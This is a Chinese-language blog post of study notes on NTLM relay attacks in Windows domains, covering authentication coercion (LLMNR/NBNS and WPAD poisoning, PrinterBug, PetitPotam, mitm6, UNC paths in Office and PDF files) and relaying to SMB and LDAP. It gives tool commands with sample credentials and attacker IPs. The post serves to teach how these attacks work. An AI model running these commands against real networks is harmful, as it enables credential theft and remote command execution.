NTLM Relay攻击原理 + 工具使用

news2024/12/24 3:53:42

前言

仅仅是记录自己看《域内攻防指南》的体会&&理解,具体的知识学习建议看windows protocol


(✨)

✅:NTLM是不依赖于上层协议的!!!NTLM起到的就是认证,只认证Client的身份,不认证具体哪个协议对应的服务(SMB、LDAP……)。因为下层协议不care上层协议!!!计网封装的概念。

所以只要能中间人转发challenge+拿到client算的response,就能进行任意协议的封装!(只要上层协议(SMB、LDAP……)不开启签名,即不再次验证Client(NTLM那儿是第一次验证)即可)


0x01 NTLM Relay攻击原理

  1. 中间人攻击;
  2. NTLM是底层协议,内嵌于SMB,LDAP,HTTP等上层协议。

也就是我们在Client和Server之间,窃取Net-NTLM的typ3中的Net-NTLM Hash,然后relay到其它服务机器的其它协议。


看Client响应服务端的challenge的type3 response的wireshark包:

在这里插入图片描述

像Responder这些工具,能够拿到这个带有response的包后,算出Net-NTLM Hash
How?
这个有对应计算方法的:

https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#id-0x03-net-ntlm-hash

在这里插入图片描述

这里的challenge是type2 服务器返回的challenge

HMAC-MD5对应数据包中的NTProofSt

本来之前对relay这步还有疑问:

怎么relay?
理解的核心在于封装的概念,以及对Net-NTLM本质作用(Client身份验证)的理解。
✅:NTLM是不依赖于上层协议的!!!NTLM起到的就是认证,只认证Client的身份,不认证具体哪个协议对应的服务(SMB、LDAP……)。因为下层协议不care上层协议!!!计网封装的概念。

所以只要能中间人转发challenge+拿到client算的response,就能进行任意协议的封装!(只要上层协议(SMB、LDAP……)不开启签名,即不再次验证Client(NTLM那儿是第一次验证)即可)
而开启签名就是认证了这个协议(比如SMB、LDAP)确实是由Client发起的。


所以NTLM Relay分为两步:

  1. 拿到Net-NTLM Hash(如何触发请求?如何捕获?)
  2. relay(如何relay?relay到哪儿?有无限制(签名)?)

0x02 捕获Net-NTLM Hash

如何捕获?

用神器 Responder.py

./Responder.py -i 中间人IP -wrfv

诱导Net-NTLM请求

1. LLMNR && NBNS

原理

域名解析投毒。

Windows系统名称解析顺序:

  1. 本地hosts文件
  2. DNS缓存/DNS服务器
  3. LLMNR && NBNS协议

LLMNR是多播,NBNS是广播,就给了中间人攻击的可乘之机。

触发方式

Clinet访问一个不存在的域名即可。

比如

\\nonexist

2. 打印机漏洞

原理

简单说说这个MS不修的"bug"。

Windows的打印机服务有一个特性:

任何经过身份认证的域成员,都可以连接任意一台远程服务器的打印服务spoolsv.exe,并请求一个新的打印作业进行更新,这种请求会让目标服务器将通知发送给指定的目标,然后目标服务器会立即测试该连接,也就是向指定目标进行身份认证。可以是Kerberos认证,也可以是NTLM认证。

所以我们就可以用打印机漏洞"强制"目标主机向我们的攻击机测试连接,从而拿到Net-NTLM Hash。

触发方式

printerbug.py:

python3 printerbug.py INTRANET/用户名:密码@目标服务器IP 攻击机IP

这个用户应该只要是拿到账密的域用户就行。

3. PetitPotam

当时弄非约束委派的打印机漏洞触发就换的是这个。(因为SpoolSample基于NET3.5,好多机子不一定有对应环Frame)

大概记一下原理:

原理

这个漏洞利用的是微软加密文件系统远程协议(MS-EFSRPC)的漏洞。

利用PetitPotam,可以通过连接到LSAPRC轻质触发目标机器向指定远程服务器发送Net-NTLM Hash(应该就是触发NTLM认证)。

由于这个洞是2021年的,应该很多版本都能打(虽然原版打印机漏洞更离谱,修都不修2333。。)

触发方式

用 Petitpotam.py:

python3 Petitpotam.py -d intranet.com -u win2008 -p 1q2w3eQWE 攻击机IP 目标机器IP

4. 图标

(最初学的时候真的被秀到了 orz。)

简单来说,图标中能用UNC路径远程访问/加载的都行。

  • desktop.ini
  • .scf后缀文件:包含IconFile属性,explorer.exe会尝试加载UNC
  • ……

这个具体的可以看gitbook那篇,详细这里就不记录了。

5. 浏览器

同样的,支持UNC路径。

而且可以在HTML中嵌入标签,带UNC路径的跳转之类的。

(后面提到的WPAD投毒,劫持HTTP流量后就是这么触发NTLM请求的)

6. Outlook

微软的邮件服务Outlook支持发送HTML格式的邮件。

用户不用打开邮件,Outlook客户端就会自动向指定的UNC路径发起NTLM认证。

7. 系统命令

一大堆window的cmd也可以访问UNC路径。

8. Office

经典微软三件套,
xxx.docx\word\_rels目录的document.xml.rels文件:
可以把插入图片的

Target="media/image1.png"

改为:

Target="\\IP\1.jpg" TargetMode="External"

9. PDF

PDF可以添加请求远程SMB服务器文件的功能。

3gstudent的WorsePDF脚本,

python2 WorsePDF.py test.pdf Attacker-IP

10. WPAD

这里介绍两个:最初的WPAD投毒 以及DHCPv6绕过MS16-077补丁的方式。

WPAD:Web代理自动发现协议。

这里有必要将这个协议具体写一下:

WPAD是用来查找PAC(Proxy Auto-Config)文件的协议。协议的功能是通过DHCP,DNS,LLMNR,NBNS等查找局域网中存放PAC文件的主机,然后通过主机的PAC文件指定代理服务器来访问互联网。

浏览器查询PAC文件的顺序:

  1. DHCP服务器
  2. 查询WPAD主机IP:(域名解析)
    • 本地HOST
    • DNS缓存/DNS服务器
    • LLMRN,NBNS

PAC文件的格式:(这个也需要知道,后面二次投毒要用)

function FindProxyForUrl(url,host){
    if(url=="http://www.baidu.com") return 'DIRECT';
    if(host=="pixiv.com") return "SOCKS 127.0.0.1:7070";
    if(dnsResolve(host)=="10.0.0.100") return "PROXY 127.0.0.1:8006;DIRECT";
    return "DIRECT";
}

利用核心点:WPAD的发现/寻找/查询也是广播。。。(本质就是域名解析LLMNR&&NBNS投毒那一套)

(但这有个伏笔,第一步有一个DHCP的过程)

WPAD投毒

利用流程

直接一个Responder就能搞定了:

./Responder.py -I eth0 -rPvw

WPAD投毒流程:(✨)

  1. 用户访问网页,会首先查询PAC文件的位置,查询的地址是WPAD/wpad.dat。如果本地hosts和DNS都找不到,就会使用NBNS协议发广播包,询问WPAD对应的IP。

  2. 攻击者用Responder投毒,响应NBNS请求,将WPAD的IP指向Responder自身所在的IP。(顺带伪造wpad.dat,内容后续步骤会说)

  3. 客户端请求WPAD/wpad.dat

  4. 攻击者伪造了wpad.dat(具体的可以抓包看HTTP GET请求)

    核心就是把PROXY的域名改成一个解析不了的(hosts和DNS解析不了)

    比如ProxySrv

  5. 客户解析不了ProxySrv的IP,又发起LLMNR广播协议查询

  6. Responder二次投毒,将ProxySrv也指向Responder自身的IP。

  7. 前面步骤后,Attacker就可以代理客户的所有HTTP流量了,只需要在HTTP流量中加入HTML请求,访问UNC路径,触发NTLM即可。甚至还可以打web端,拿cookie,钓鱼、诱导下载shell之类的。

MS16-077后的DHCPv6绕过

微软的补丁限制了两个点:

  1. 系统再也无法用广播协议来解析WPAD文件的位置,只能用DHCP或DNS协议。
  2. 更改了PAC文件的下载默认行为,当发起HTTP GET请求wpad.dat文件时,不会自动发送客户端凭据来响应NTLM协商身份验证质询。

可以看出来,第二个限制p用没有。。。本来我们就是劫持HTTP流量后再触发的NTLM 2333。。。

关键是怎么绕过第一个呢?

核心都是要找能广播/多播的中间人攻击,那么思路就来了:

IPv6的DHCPv6就是多播/组播(不分了:( )!

windows vista之后的所有机子都支持Ipv6,且优先级高于Ipv4。默认情况下,Windows系统的机子在开机、配置网络时会使用DHCPv6协议向组播地址[ff02::1:2]发起请求。

那么Attacker就可以投毒,代替DHCP服务器为Client分配IP和DNS服务器。

那么IP分配在Attacker的网段,DNS服务器设为Attacker本身,后续利用就轻而易举了。(DNS服务器都有了,域名解析随便改。)

利用流程

有一个 mitm6

sudo mitm6 -i eth0 -d intranet.com

这样当目标机器重启 or 重配置网络的时候就能投毒了。

0x03 Net-NTLM Relay(How? To whom?)

1. relay to SMB

中继到SMB服务是最简单直接的方法,可以控制服务器执行任意命令

Reflect(工作组)

工作组环境没办法relay到其它机子,因为之间没有信任关系,也验证不了身份(没有DC,密码都是存在本地的SAM文件)。

那么最直接的方式就是拿到Client的Net-NTLM Hash后relay到Client,也就是reflect。

微软MS08-068针对此弄了个补丁,弄了个(challenge,CIFS/B)的缓存,使得直接的reflect失效,

绕过

但这个缓存时限是300s。:)

CVE-2019-1384 Ghost Potato就是对应的绕过。(为什么隔了11年才发现呢🤔)

relay(域环境)

一般来说,域环境中,普通域用户可以relay SMB到域控外的所有机器。

因为默认只有域控是开启SMB签名的。

工具使用

工具都是监听后relay,第一步都需要对应的触发(用前面说的那么多种触发NTLM请求的方式)

impacket - smbrelayx.py
python3 smbrelayx.py -h 目标机器(relay2的目标) -c whoami
impacket - ntlmrelayx.py
python3 ntlmrelayx.py -t smb://目标IP -c whoami -smb2support
Responder - MultiRelay.py
./MultiRelay.py -t 目标IP -u ALL

relay2HTTP

典型的就是Exchange的EWS接口,以及ADCS的证书注册接口。
这种relay属于进阶的relay攻击了,后面学习了ADCS这些后再来补。

relay2LDAP

这才是最常用的。因为域跟AD,LDAP密切相关!

LDAP的默认策略是协商签名,也就是说是否签名由用户端决定。那就是不签名了。

核心就是relay2LDAP后,用writedacl权限修改ACL,拿DCSync之类的高权限 or 可作后门的权限。

比如配置约束委派/RBCD的权限。

2020.1开始,所有域控的LDAP都会强制开启LDAP签名,这样就缓解(避免?)了relay2LDAP到域控上(好像本来relay2LDAP就应该打域控,不然没用。。。AD在DC上)拿高权限的危险。

总结

Interesting Intranet~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2164488.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

并查集 (Union-Find) :从基础到优化

并查集 (Union-Find) 并查集是一种树形数据结构,主要用于处理不相交集合(Disjoint Set)的合并和查询问题。它特别适用于解决有关连通性的问题,比如在图论中判断两点是否在同一个连通分量中。并查集可以高效地支持以下两种操作&am…

个人博客系统测试(selenium)

P. S.:以下代码均在VS2019环境下测试,不代表所有编译器均可通过。 P. S.:测试代码均未展示头文件stdio.h的声明,使用时请自行添加。 博主主页:Yan. yan.                        …

OceanBase 3.X 高可用 (一)

OceanBase 3.X 高可用(一) 一、分布式核心 OceanBase 3.x 采用的是paxos 协议,与raft协议相比。其复杂程度高,实现技术难度大。 Paxos 协议允许事务日志乱序发送,顺序提交。raft允许事务顺序发送,顺序提…

深度学习:常见损失函数简介--名称、作用和用法

目录 1. L1 Loss 2. NLL Loss (Negative Log Likelihood Loss) 3. NLLLoss2d 4. Gaussian NLL Loss 5. MSE Loss (Mean Squared Error Loss) 6. BCE Loss (Binary Cross-Entropy Loss) 7. Smooth L1 Loss 8. Cross Entropy Loss 1. L1 Loss 作用:计算预测值…

了解通用 SQL 语法

上世纪 90 年代中期,Sun Microsystems 公司推出了一种“一次编写,[随处]运行”的编程语言。这种语言就是 Java。尽管时至今日它仍然是最受欢迎的编程语言之一,但其口号却显得有些过于乐观。Java 语言的发展历程与 SQL 有着诸多相似之处。Java…

C语言常见字符串函数模拟实现一:(strlen,strcpy,strcat,strcmp,strstr )

strlen模拟实现 重点:1.字符串已经\0作为结束标志,strlen返回的是字符串\0前面出现的字符个数(不包含\0) 2.参数指向的字符串必须要以\0结束。 3.注意函数的返回值是size_t,是无符号的,加减是无法对比的。…

实用的云手机软件有哪些?高性价比云手机推荐

云手机不仅能模拟传统手机的功能,还能实现跨设备操作、数据同步等,极大地提升了用户的便利性。在众多云手机软件中,哪些软件表现出色呢?下面整理了一些功能强大、操作便捷且性能稳定的云手机APP,供大家参考选择。 1. O…

编程练习2 数据单元的变量替换

示例1: 1,2<A>00 示例2: 1,2<A>00,3<A>00 示例3: <B>12,1,2<B>1 示例4: <B<12,1 输出依次如下&#xff1a; #include<iostream> #include<vector> #include<string>using namespace std;/* 字符分割函数 将传入…

IIS中配置HTTPS证书的详细步骤

在IIS&#xff08;Internet Information Services&#xff09;中导入HTTPS证书的步骤主要包括下载证书、导入证书和为网站绑定证书几个环节。以下是详细的步骤说明&#xff1a; 一、下载SSL证书 首先&#xff0c;确保你已经从证书颁发机构&#xff08;CA&#xff09;下载了适…

三.python入门语法2

目录​​​​​​​ 1.控制结构 1.1.顺序结构 1.2.选择结构 习题 1.3.循环结构 1.3.1. while语句 1.3.2.for语句 1.3.3.循环嵌套 1.4.break语句 1.5.continue语句 1.6.pass语句 习题 1.控制结构 在学习控制结构之前我们通过一个故事来简单的描述一下控制结构&…

DAMODEL丹摩智算:LLama3.1部署与使用

文章目录 前言 一、LLaMA 3.1 的特点 二、LLaMA3.1的优势 三、LLaMA3.1部署流程 &#xff08;一&#xff09;创建实例 &#xff08;二&#xff09;通过JupyterLab登录实例 &#xff08;3&#xff09;部署LLaMA3.1 &#xff08;4&#xff09;使用教程 总结 前言 LLama3…

前端sm2国密加密时注意

如下方法&#xff1a; export function encrypt(str) {const sm2 require("sm-crypto").sm2;const cipherMode 1; // 1 - C1C3C2&#xff0c;0 - C1C2C3&#xff0c;默认为1//自定义密钥let publicKey "xxxxxxxx";//此处加密let a sm2.doEncrypt(str,…

【数字图像处理】简单粗暴介绍最近邻插值和双线性插值(附python实现)

目录 前言最近邻插值理论与公式部分代码部分优缺点 双线性插值理论与公式部分代码实现优缺点 双三次内插 前言 最近邻插值和双线性插值是两种常见的用于图像处理的方法&#xff0c;主要是用于实现图像的放大和缩小。本文中将以最为简单粗暴的方式介绍两种方法的原理&#xff0…

USB-CAN的使用说明

文章目录 前言一、USB-CAN模块二、产品特性三、引脚说明四、使用说明1.USB驱动安装2.CAN配置工具说明1. 菜单栏&#xff1a;2. 模式选择和收发数据显示&#xff1a;3. 数据发送4. 发送模式 五、AT指令设置参数六、硬件测试 前言 CAN总线协议&#xff1a;一种多主、串行通信协议…

淘客系统开发之卷轴模式系统源码功能分析

随着互联网技术的快速发展&#xff0c;电商行业不断创新&#xff0c;探索更加高效、有趣的用户参与机制。其中&#xff0c;卷轴模式作为一种新兴的商业模式&#xff0c;以其独特的积分兑换和任务系统&#xff0c;在淘客系统开发中得到了广泛应用。本文将从技术角度&#xff0c;…

汽车免拆诊断案例 | 2016 款宾利GT车仪表盘上的多个故障灯点亮

故障现象 一辆2016款宾利欧陆GT车&#xff0c;搭载CYCB发动机&#xff0c;累计行驶里程约为4.5万km。据车主反映&#xff0c;发动机偶尔无法起动&#xff0c;仪表盘上的多个故障灯点亮&#xff08;图1&#xff09;。此外&#xff0c;刮水器、电动车窗及空调等电器设备功能失效…

IDC 中国数据安全软件市场报告:顺应平台化趋势,打造综合性的数据安全平台

近期&#xff0c;IDC 发布了针对中国数据安全软件市场规模的预测报告——《中国数据安全软件市场预测&#xff0c;2024-2028》&#xff08;Doc# CHC51601524&#xff0c;2024年9月&#xff09;。该报告针对 2024-2028 年中国数据安全软件市场的规模、增长速度、驱动因素、阻碍因…

剧本杀全新体验:线上剧本杀发挥重要优势

剧本杀作为集游戏社交休闲为一体的消费方式&#xff0c;吸引了众多年轻人&#xff0c;让玩家在游戏中体验到各种角色&#xff0c;还能够满足社交需求。当下&#xff0c;剧本杀市场仍然在快速发展中&#xff01; 剧本杀市场创新 不过&#xff0c;在多年的发展中&#xff0c;剧…

智谱清影 - CogVideoX-2b-部署与使用

&#x1f351;个人主页&#xff1a;Jupiter. &#x1f680; 所属专栏&#xff1a;Linux从入门到进阶 欢迎大家点赞收藏评论&#x1f60a; 目录 体验地址&#xff1a;[丹摩DAMODEL官网](https://www.damodel.com/console/overview) CogVideoX 简介本篇将详细介绍使用丹摩服务器部…

C++20中头文件compare的使用

<compare>是C20中新增加的头文件&#xff0c;此头文件是language support库的一部分。它包括&#xff1a;concepts、classes、customization point objects、functions。 1.concepts&#xff1a;三向比较运算符<>&#xff0c;目的是简化比对对象的过程&#xff0c;…